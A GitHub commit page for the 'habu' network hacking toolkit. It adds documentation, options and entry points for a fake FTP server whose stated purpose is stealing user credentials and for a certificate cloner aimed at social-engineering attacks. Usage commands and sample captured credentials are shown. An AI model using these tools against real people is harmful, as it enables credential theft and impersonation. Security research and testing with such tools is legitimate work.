Skip to content

Commit 2ce75b4

Browse files
committed
habu.server.ftp fixes and docs
1 parent 301f4b8 commit 2ce75b4

File tree

5 files changed

+43
-3
lines changed

5 files changed

+43
-3
lines changed

README.md

+26
Original file line numberDiff line numberDiff line change
@@ -18,9 +18,11 @@ Some techniques implemented in the current version are:
1818
- ARP Sniffing
1919
- DHCP Discover
2020
- DHCP Starvation
21+
- Fake FTP Server
2122
- LAND Attack
2223
- SNMP Cracking
2324
- Subdomains Identification
25+
- SSL/TLS Certificate Cloner
2426
- SYN Flooding
2527
- TCP Flags Analysis
2628
- TCP ISN Analysis
@@ -29,6 +31,7 @@ Some techniques implemented in the current version are:
2931
- Virtual Hosts Identification
3032
- Web Techonologies Identification
3133

34+
3235
## Usage Videos
3336

3437
The following Youtube Playlist has videos that shows the installation
@@ -65,6 +68,7 @@ Habu requires Python3 and the following packages:
6568

6669
- beautifulsoup4
6770
- click
71+
- cryptography
6872
- lxml
6973
- prompt\_toolkit
7074
- pygments
@@ -138,6 +142,16 @@ $ dig +short 07286e90fd6e7e6be61d6a7919967c7cf3bbfb23a36edbc72b6d7c53.a.asydns.o
138142
181.31.41.231
139143
```
140144

145+
## habu.certclone: Clone a SSL/TLS server certificate
146+
147+
This command tries to connect to a SSL/TLS server, gets the certificate and generates
148+
a certificate with the same options and field values.
149+
150+
**Note**: The generated certificate it's invalid, but can be used for social engineering attacks
151+
152+
``` {.sourceCode .bash}
153+
$ habu.certclone www.google.com 443 /tmp/key.pem /tmp/cert.pem
154+
```
141155

142156
## habu.contest: Check your connection capabilities
143157

@@ -389,6 +403,18 @@ IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
389403
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
390404
```
391405

406+
## habu.server.ftp: Fake FTP Server
407+
408+
This command implements a basic fake FTP server, whith the only purpose to
409+
steal user credentials. The server supports SSL/TLS.
410+
411+
``` {.sourceCode .bash}
412+
$ sudo habu.server.ftp -p 21 --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem
413+
Listening on port 2121
414+
Accepted connection from ('192.168.0.27', 56832)
415+
Credentials collected from 192.168.0.27! fabian 123456
416+
```
417+
392418
## habu.shodan: Shodan API client
393419

394420
This command is a simple shodan API client with prints the json result

README.rst

+2
Original file line numberDiff line numberDiff line change
@@ -16,9 +16,11 @@ Some techniques implemented in the current version are:
1616
- ARP Sniffing
1717
- DHCP Discover
1818
- DHCP Starvation
19+
- Fake FTP Server
1920
- LAND Attack
2021
- SNMP Cracking
2122
- Subdomains Identification
23+
- SSL/TLS Certificate Cloner
2224
- SYN Flooding
2325
- TCP Flags Analysis
2426
- TCP ISN Analysis

README.txt

+2
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,11 @@ Some techniques implemented in the current version are:
22

33
- ARP Poisoning and Sniffing
44
- DHCP Discover and Starvation
5+
- Fake FTP Server
56
- LAND Attack
67
- SNMP Cracking
78
- Subdomains Identification
9+
- SSL/TLS Certificate Cloner
810
- SYN Flooding
911
- TCP Flags and ISN Analysis
1012
- TCP Port Scan

habu/cli/cmd_server_ftp.py

+9-2
Original file line numberDiff line numberDiff line change
@@ -96,15 +96,22 @@ def connection_lost(self, exc):
9696
@click.option('-a', 'address', default=None, help='Address to bind (default: all)')
9797
@click.option('-p', 'port', default=21, help='Which port to use (default: 21)')
9898
@click.option('--ssl', 'enable_ssl', is_flag=True, default=False, help='Enable SSL/TLS (default: False)')
99+
@click.option('--ssl-cert', 'ssl_cert', default=None, help='SSL/TLS Cert file')
100+
@click.option('--ssl-key', 'ssl_key', default=None, help='SSL/TLS Key file')
99101
@click.option('-v', 'verbose', is_flag=True, default=False, help='Verbose')
100-
def cmd_server_ftp(address, port, enable_ssl, verbose):
102+
def cmd_server_ftp(address, port, enable_ssl, ssl_cert, ssl_key, verbose):
101103

102104
ssl_context = None
103105

104106
if enable_ssl:
107+
108+
if not (ssl_cert and ssl_key):
109+
print('Please, specify --ssl-cert and --ssl-key to enable SSL/TLS')
110+
return False
111+
105112
ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
106113
ssl_context.check_hostname = False
107-
ssl_context.load_cert_chain('pymotw.crt', 'pymotw.key')
114+
ssl_context.load_cert_chain(ssl_cert, ssl_key)
108115

109116
loop = asyncio.get_event_loop()
110117
coro = loop.create_server(ServerFTP, host=address, port=port, ssl=ssl_context, reuse_address=True, reuse_port=True)

setup.py

+4-1
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
setup(
77
name='habu',
8-
version='0.0.71',
8+
version='0.0.72',
99
description='Python Network Hacking Toolkit',
1010
long_description=readme,
1111
long_description_content_type='text/markdown',
@@ -15,6 +15,7 @@
1515
license='Copyright Fabian Martinez Portantier',
1616
install_requires=[
1717
'beautifulsoup4',
18+
'cryptography',
1819
'click',
1920
'lxml',
2021
'prompt_toolkit',
@@ -37,6 +38,7 @@
3738
habu.arpsniff=habu.cli.cmd_arpsniff:cmd_arpsniff
3839
habu.asydns=habu.cli.cmd_asydns:cmd_asydns
3940
habu.b64=habu.cli.cmd_b64:cmd_b64
41+
habu.certclone=habu.cli.cmd_certclone:cmd_certclone
4042
habu.contest=habu.cli.cmd_contest:cmd_contest
4143
habu.ctfr=habu.cli.cmd_ctfr:cmd_ctfr
4244
habu.cve_2018_9995=habu.cli.cmd_cve_2018_9995:cmd_cve_2018_9995
@@ -56,6 +58,7 @@
5658
habu.land=habu.cli.cmd_land:cmd_land
5759
habu.mhr=habu.cli.cmd_mhr:cmd_mhr
5860
habu.ping=habu.cli.cmd_ping:cmd_ping
61+
habu.server.ftp=habu.cli.cmd_server_ftp:cmd_server_ftp
5962
habu.shodan=habu.cli.cmd_shodan:cmd_shodan
6063
habu.snmp_crack=habu.cli.cmd_snmp_crack:cmd_snmp_crack
6164
habu.tcpflags=habu.cli.cmd_tcpflags:cmd_tcpflags

0 commit comments

Comments
 (0)